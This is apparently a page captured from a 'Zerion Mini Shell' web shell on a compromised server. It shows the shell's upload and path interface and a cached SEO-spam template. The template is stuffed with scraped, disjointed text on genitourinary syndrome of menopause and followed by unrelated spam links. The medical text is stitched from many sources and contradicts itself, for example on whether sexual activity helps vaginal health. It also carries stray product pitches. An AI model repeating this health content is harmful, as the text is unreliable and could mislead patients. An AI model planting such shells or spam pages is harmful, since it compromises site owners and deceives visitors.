%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/shaban/duassis/api/public/storage/q8q7nfc/cache/
Upload File :
Create Path :
Current File : //var/www/html/shaban/duassis/api/public/storage/q8q7nfc/cache/b9cd45a1ee36506029d85cd7f655c014

a:5:{s:8:"template";s:7286:"<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8"/>
<meta content="width=device-width, initial-scale=1" name="viewport"/>
<title>{{ keyword }}</title>
<link href="//fonts.googleapis.com/css?family=Lato%3A300%2C400%7CMerriweather%3A400%2C700&amp;ver=5.4" id="siteorigin-google-web-fonts-css" media="all" rel="stylesheet" type="text/css"/>
<style rel="stylesheet" type="text/css">html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}footer,header,nav{display:block}a{background-color:transparent}svg:not(:root){overflow:hidden}button{color:inherit;font:inherit;margin:0}button{overflow:visible}button{text-transform:none}button{-webkit-appearance:button;cursor:pointer}button::-moz-focus-inner{border:0;padding:0}html{font-size:93.75%}body,button{color:#626262;font-family:Merriweather,serif;font-size:15px;font-size:1em;-webkit-font-smoothing:subpixel-antialiased;-moz-osx-font-smoothing:auto;font-weight:400;line-height:1.8666}.site-content{-ms-word-wrap:break-word;word-wrap:break-word}html{box-sizing:border-box}*,:after,:before{box-sizing:inherit}body{background:#fff}ul{margin:0 0 2.25em 2.4em;padding:0}ul li{padding-bottom:.2em}ul{list-style:disc}button{background:#fff;border:2px solid;border-color:#ebebeb;border-radius:0;color:#2d2d2d;font-family:Lato,sans-serif;font-size:13.8656px;font-size:.8666rem;line-height:1;letter-spacing:1.5px;outline-style:none;padding:1em 1.923em;transition:.3s;text-decoration:none;text-transform:uppercase}button:hover{background:#fff;border-color:#24c48a;color:#24c48a}button:active,button:focus{border-color:#24c48a;color:#24c48a}a{color:#24c48a;text-decoration:none}a:focus,a:hover{color:#00a76a}a:active,a:hover{outline:0}.main-navigation{align-items:center;display:flex;line-height:1}.main-navigation:after{clear:both;content:"";display:table}.main-navigation>div{display:inline-block}.main-navigation>div ul{list-style:none;margin:0;padding-left:0}.main-navigation>div li{float:left;padding:0 45px 0 0;position:relative}.main-navigation>div li:last-child{padding-right:0}.main-navigation>div li a{text-transform:uppercase;color:#626262;font-family:Lato,sans-serif;font-size:.8rem;letter-spacing:1px;padding:15px;margin:-15px}.main-navigation>div li:hover>a{color:#2d2d2d}.main-navigation>div a{display:block;text-decoration:none}.main-navigation>div ul{display:none}.menu-toggle{display:block;border:0;background:0 0;line-height:60px;outline:0;padding:0}.menu-toggle .svg-icon-menu{vertical-align:middle;width:22px}.menu-toggle .svg-icon-menu path{fill:#626262}#mobile-navigation{left:0;position:absolute;text-align:left;top:61px;width:100%;z-index:10}.site-content:after:after,.site-content:before:after,.site-footer:after:after,.site-footer:before:after,.site-header:after:after,.site-header:before:after{clear:both;content:"";display:table}.site-content:after,.site-footer:after,.site-header:after{clear:both}.container{margin:0 auto;max-width:1190px;padding:0 25px;position:relative;width:100%}@media (max-width:480px){.container{padding:0 15px}}.site-content:after{clear:both;content:"";display:table}#masthead{border-bottom:1px solid #ebebeb;margin-bottom:80px}.header-design-2 #masthead{border-bottom:none}#masthead .sticky-bar{background:#fff;position:relative;z-index:101}#masthead .sticky-bar:after{clear:both;content:"";display:table}.sticky-menu:not(.sticky-bar-out) #masthead .sticky-bar{position:relative;top:auto}#masthead .top-bar{background:#fff;border-bottom:1px solid #ebebeb;position:relative;z-index:9999}#masthead .top-bar:after{clear:both;content:"";display:table}.header-design-2 #masthead .top-bar{border-top:1px solid #ebebeb}#masthead .top-bar>.container{align-items:center;display:flex;height:60px;justify-content:space-between}#masthead .site-branding{padding:60px 0;text-align:center}#masthead .site-branding a{display:inline-block}#colophon{clear:both;margin-top:80px;width:100%}#colophon .site-info{border-top:1px solid #ebebeb;color:#626262;font-size:13.8656px;font-size:.8666rem;padding:45px 0;text-align:center}@media (max-width:480px){#colophon .site-info{word-break:break-all}}@font-face{font-family:Lato;font-style:normal;font-weight:300;src:local('Lato Light'),local('Lato-Light'),url(http://fonts.gstatic.com/s/lato/v16/S6u9w4BMUTPHh7USSwiPHA.ttf) format('truetype')}@font-face{font-family:Lato;font-style:normal;font-weight:400;src:local('Lato Regular'),local('Lato-Regular'),url(http://fonts.gstatic.com/s/lato/v16/S6uyw4BMUTPHjx4wWw.ttf) format('truetype')}@font-face{font-family:Merriweather;font-style:normal;font-weight:400;src:local('Merriweather Regular'),local('Merriweather-Regular'),url(http://fonts.gstatic.com/s/merriweather/v21/u-440qyriQwlOrhSvowK_l5-fCZJ.ttf) format('truetype')}@font-face{font-family:Merriweather;font-style:normal;font-weight:700;src:local('Merriweather Bold'),local('Merriweather-Bold'),url(http://fonts.gstatic.com/s/merriweather/v21/u-4n0qyriQwlOrhSvowK_l52xwNZWMf_.ttf) format('truetype')} </style>
 </head>
<body class="cookies-not-set css3-animations hfeed header-design-2 no-js page-layout-default page-layout-hide-masthead page-layout-hide-footer-widgets sticky-menu sidebar wc-columns-3">
<div class="hfeed site" id="page">
<header class="site-header" id="masthead">
<div class="container">
<div class="site-branding">
<a href="#" rel="home">
{{ keyword }}</a> </div>
</div>
<div class="top-bar sticky-bar sticky-menu">
<div class="container">
<nav class="main-navigation" id="site-navigation" role="navigation">
<button aria-controls="primary-menu" aria-expanded="false" class="menu-toggle" id="mobile-menu-button"> <svg class="svg-icon-menu" height="32" version="1.1" viewbox="0 0 27 32" width="27" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<path d="M27.429 24v2.286q0 0.464-0.339 0.804t-0.804 0.339h-25.143q-0.464 0-0.804-0.339t-0.339-0.804v-2.286q0-0.464 0.339-0.804t0.804-0.339h25.143q0.464 0 0.804 0.339t0.339 0.804zM27.429 14.857v2.286q0 0.464-0.339 0.804t-0.804 0.339h-25.143q-0.464 0-0.804-0.339t-0.339-0.804v-2.286q0-0.464 0.339-0.804t0.804-0.339h25.143q0.464 0 0.804 0.339t0.339 0.804zM27.429 5.714v2.286q0 0.464-0.339 0.804t-0.804 0.339h-25.143q-0.464 0-0.804-0.339t-0.339-0.804v-2.286q0-0.464 0.339-0.804t0.804-0.339h25.143q0.464 0 0.804 0.339t0.339 0.804z"></path>
</svg>
</button>
<div class="menu-menu-1-container"><ul class="menu" id="primary-menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home menu-item-20" id="menu-item-20"><a href="#">About</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-165" id="menu-item-165"><a href="#">Blog</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-24" id="menu-item-24"><a href="#">FAQ</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-22" id="menu-item-22"><a href="#">Contacts</a></li>
</ul></div> </nav>
<div id="mobile-navigation"></div>
</div>
</div>
</header>
<div class="site-content" id="content">
<div class="container">
{{ text }}
<br>
{{ links }}
</div>
</div>
<footer class="site-footer " id="colophon">
<div class="container">
</div>
<div class="site-info">
<div class="container">
{{ keyword }} 2021</div>
</div>
</footer>
</div>
</body>
</html>";s:4:"text";s:10771:"Every woman's experience of menopause is different and some may not find it a pleasurable or positive experience. Management of genitourinary syndrome of menopause in women with or at high risk for breast cancer: consensus recommendations from The North American Menopause Society and The International Society for the Study of Women’s Sexual Health . These changes may include dryness and discomfort during sex. 2015;21(2):65-71. It affects up to 1 in 3 women, most often during or after the menopause when the cells in the vagina are most lacking in hydration and the body may fail to produce enough oestrogen. Genitourinary syndrome of menopause: new terminology for vulvovaginal atrophy from the International Society for the Study of Women’s Sexual Health and The North American Menopause Society. Common symptoms include: hot flushes – short, sudden feelings of heat, usually in the face, neck and chest, which can make your skin red and sweaty night sweats – hot flushes that occur at night difficulty sleeping – this may make you feel tired and irritable during the day Menopause assessment and systemic HRT 11 9.1. We conducted a systematic review of the literature to ascertain whether available evidence supports the efficacy and safety of laser treatment for GSM in BC patients. … Introduction: Genitourinary syndrome of the menopause (GSM) is caused by hypo-oestrogenism resulting in vaginal dryness, pain, dyspareunia and urinary tract infection. Menopause is a biological stage in a woman's life when menstruation stops permanently due to the loss of ovarian follicular activity. Reduced vessels, thinner epithelium with lack of glycogen. Vaginal atrophy occurs most often after Urogenital atrophy or Genitourinary Syndrome of the Menopause (GSM) Vaginal dryness is very common and is underdiagnosed and undertreated. It can cause these surprising conditions, too. Urine test, which involves collecting and testing your urine, if you have urinary symptoms. Routine menopausal assessment 11 9.2. The mainstay of treatment has been Journal of The Sexual Medicine. Fight or flight response. Type: Systematic Reviews . Register to attend. Research suggests that women may lose up to 20% of their bone density in the 5 to 7 years after menopause (11). Although women may present with some or all of the clinical signs and symptoms, the most common symptom of VVA/GSM is vaginal dryness. The prevalence of OAB in adult women ranges between 11% and 42%, is particularly common in elderly people, and can overlap with the genitourinary syndrome of menopause (GSM). How common are these urogenital problems in the menopause? active components Post Menopause Symptoms Nhs Primolut that cause severe inflammation of the kidneys Historically castoreum has been used in the treatment of hysteria and menstrual cramps and. These hormonal drops can lead to a group of genital and urinary symptoms that are called genitourinary syndrome of menopause (GSM). GSM is thought to affect about half of postmenopausal women. Symptoms include: Women do not need to have all of the symptoms to be diagnosed with GSM. Changes in the acid balance of your vagina make vaginal infections more likely. Description of the intervention. This results in too many women needlessly suffering with often unbearable symptoms. 2014. Menopause and Your Urinary Tract. Urogenital atrophy or Genitourinary Syndrome of the Menopause (GSM) GUIDANCE ON DIAGNOSIS AND MANAGEMENT OF Urogenital atrophy or Genitourinary Syndrome of the Menopause (GSM) Vaginal dryness is very common and is underdiagnosed and undertreated. This results in too many women needlessly suffering with often unbearable symptoms. It is more severe and common in breast cancer (BC) survivors due to the severity of induced menopause following treatment i.e. through use of vaginal estrogen, to avoid dyspareunia. Register to attend. The impact of genitourinary syndrome of menopause on well-being, functioning, and quality of life in postmenopausal women. Urogenital problems refer to issues within the urinary and genital areas, including the vulva, vagina, and lower urinary tract. Menopause may be associated with a cluster of symptoms (vasomotor, genitourinary, etc) that have a negative impact on physical, sexual, and psycho-social well-being, and as a consequence, on the overall quality of life of many women. Hero Images / Getty Images. Follow-up after starting systemic HRT 16 GSM affects more than 50% of women, but despite its prevalence, it’s still pretty unheard of with many healthcare professionals failing to accurately diagnose it. 1.2.3 . • menopause based on symptoms in women without a uterus. (B): HEALTHY PRE MENOPAUSAL VAGINAL MUCOSA. Although the condition is common, not all menopausal women experience GSM. This is a rather common condition, sometimes referred to as vulvo-vaginal atrophy (VVA), atrophic vaginitis or Genitourinary Syndrome of Menopause (GSM). J Menopausal Med.  Note 1: When treating low sexual desire /arousal it is also important that urogenital tissues are adequately estrogenised in women with vulvovaginal atrophy / genitourinary syndrome of the menopause e.g. These changes can lead to troublesome vaginal and urinary symptoms that are collectively referred to as the genitourinary syndrome of menopause (GSM). This treatment should only be used in women without a history of estrogen-dependent cancers. After menopause the vaginal epithelium changes and becomes a few layers thick. Low dose vaginal estrogen preparations should be initiated as usual practice, and it is recommended that treatment be continued long term. Menopause Nhs Choice Crh Hormone femCap is the ultimate natural birth control solution. ‘genitourinary syndrome of the menopause’ are the medical terms for when these changes produce troublesome symptoms in the vulva, vagina or bladder. It is more severe and common in breast cancer (BC) survivors owing to the severity of induced menopause following treatment (ie, chemotherapy, GnRH agonists/anti-estrogen therapy). Symptoms may include itching, burning, pain, discharge, and a bad smell. After the menopause at least half of women have some symptoms related to the lack of oestrogen in their vulva, vagina or bladder. Genitourinary symptoms include dryness; pain; itching; burning; soreness; pressure; white discharge; malodorous discharge due to infection; painful sexual intercourse Fractional CO 2 and vaginal erbium lasers have emerged as potential treatment options for genitourinary syndrome of menopause (GSM) in breast cancer (BC) survivors.. Methods. Vaginal and bladder symptoms of estrogen deficiency (Genitourinary Syndrome of Menopause, Urogenital atrophy, Vaginal atrophy) are extremely common, even in women taking HRT, and cause significant distress. 2013;20:1043 MacBride MB, et al. INTRODUCTION. It is a myth that regular sexual activity, with or without a partner, can help you maintain healthy vaginal tissues. Objective: To update and expand the 2013 position statement of The North American Menopause Society (NAMS) on the management of the genitourinary syndrome of menopause (GSM), … Symptoms include: • Dryness, burning sensations, and irritation in the genital area Overactive bladder syndrome (OAB) is defined as urinary urgency, usually with urinary frequency and nocturia, with or without urge urinary incontinence. The menopause & perimenopause information podcast helping women receive unbiased, evidence-based and holistic advice and treatment. Genitourinary Syndrome of Menopause (GSM) is the new terminology for "vulvovaginal (VVA)". MHT prevents postmenopausal bone loss. The vaginal lining may become drier, thinner, more fragile, and less elastic, often resulting in genitourinary syndrome of menopause (GSM), or vaginal dryness (7). 1–3 In one population-based assessment of 386 Australian women, 86% consulted a clinician at least once to discuss menopausal symptoms. Regular sexual activity, either with or without a partner, may help prevent genitourinary syndrome of menopause. Sexual activity increases blood flow to your vagina, which helps keep vaginal tissues healthy. AskMayoExpert. Genitourinary syndrome of menopause (adult). Rochester, Minn.: Mayo Foundation for Medical Education and Research; 2018. J Sex Med 2014 ; 11: 2865 – 2872 . RenovaLase ® Treatment for genitourinary syndrome of menopause / vaginal atrophy. 1 Raz R. Postmenopausal women with recurrent UTI. Choice of pharmaceutical route for systemic HRT 16 9.5. This is a rather common condition, sometimes referred to as vulvo-vaginal atrophy (VVA), atrophic vaginitis or Genitourinary Syndrome of Menopause (GSM). Overactive bladder syndrome (OAB) is defined as urinary urgency, usually with urinary frequency and nocturia, with or without urge urinary incontinence. Genitourinary syndrome of menopause affects approximately 50% of women post-menopause and is under-reported. Genitourinary syndrome of the menopause is caused by the reduction in oestrogen production that occurs during the menopause. Vaginitis, also known as vulvovaginitis, is inflammation of the vagina and vulva. Menopause 2018: 25(12): 1418-1423. doi: 10.1097/GME.0000000000001148; Kim HK, Kang SY, Chung YJ et al. We now refer to these changes as genitourinary syndrome of menopause or G.S.M. This review of the condition including established and newer treatment options aspires to empower clinicians to ask about symptoms and be … GSM is a chronic condi-tion with a significant impact on sexual health and quality of life. See this news article: Laser treatment helpful for genitourinary syndrome of menopause (GSM) (10 May 2021) Download a checklist of vaginal atrophy symptoms you can print out and take to your GP or nurse to … Genitourinary Syndrome of the Menopause (GSM) 9 9. • Treatment of genitourinary syndrome of menopause ... NHS Confirmed cases of CVA Grodstein et al, JAMA 2008 AGE Attributable Risk Risk per 10,0000 yrs <50 0.9 0.9 50-54 1.5 1.5 55-59 2.2 2.2 60-64 2.8 2.8 65+ 7.2 7.2 RR of CVA for entire HT cohort was 1.4 . Fluctuating body temperature is usually your body’s way to Your body will lose heat when the temperature of your the same will happen after menopause. Genitourinary Problems of the Menopause Webinar - March 2021 To receive a link to this Webinar please email heiw.cpdadmin@wales.nhs.uk Peri and Post Menopausal Bleeding Webinar - … Oestrogen therapy is an effective treatment for the management of menopausal symptoms including hot … + 5.0 Treatment of genitourinary syndrome of menopause 5.1 Vaginal moisturizers and lubricants 5.1a For postmenopausal women with symptoms of vulvovaginal atrophy (VVA), we suggest a trial of vaginal moisturizers to be used at least twice weekly. ";s:7:"keyword";s:39:"genitourinary syndrome of menopause nhs";s:5:"links";s:696:"<a href="https://api.duassis.com/storage/q8q7nfc/elder-scrolls-6-ps5-release-date">Elder Scrolls 6 Ps5 Release Date</a>,
<a href="https://api.duassis.com/storage/q8q7nfc/psychological-demands-of-tennis">Psychological Demands Of Tennis</a>,
<a href="https://api.duassis.com/storage/q8q7nfc/cut-and-paste-matching-worksheets">Cut And Paste Matching Worksheets</a>,
<a href="https://api.duassis.com/storage/q8q7nfc/cattelan-bedside-table">Cattelan Bedside Table</a>,
<a href="https://api.duassis.com/storage/q8q7nfc/select-valet-logan-airport-parking">Select Valet Logan Airport Parking</a>,
<a href="https://api.duassis.com/storage/q8q7nfc/thiago-goal-for-liverpool">Thiago Goal For Liverpool</a>,
";s:7:"expired";i:-1;}

Zerion Mini Shell 1.0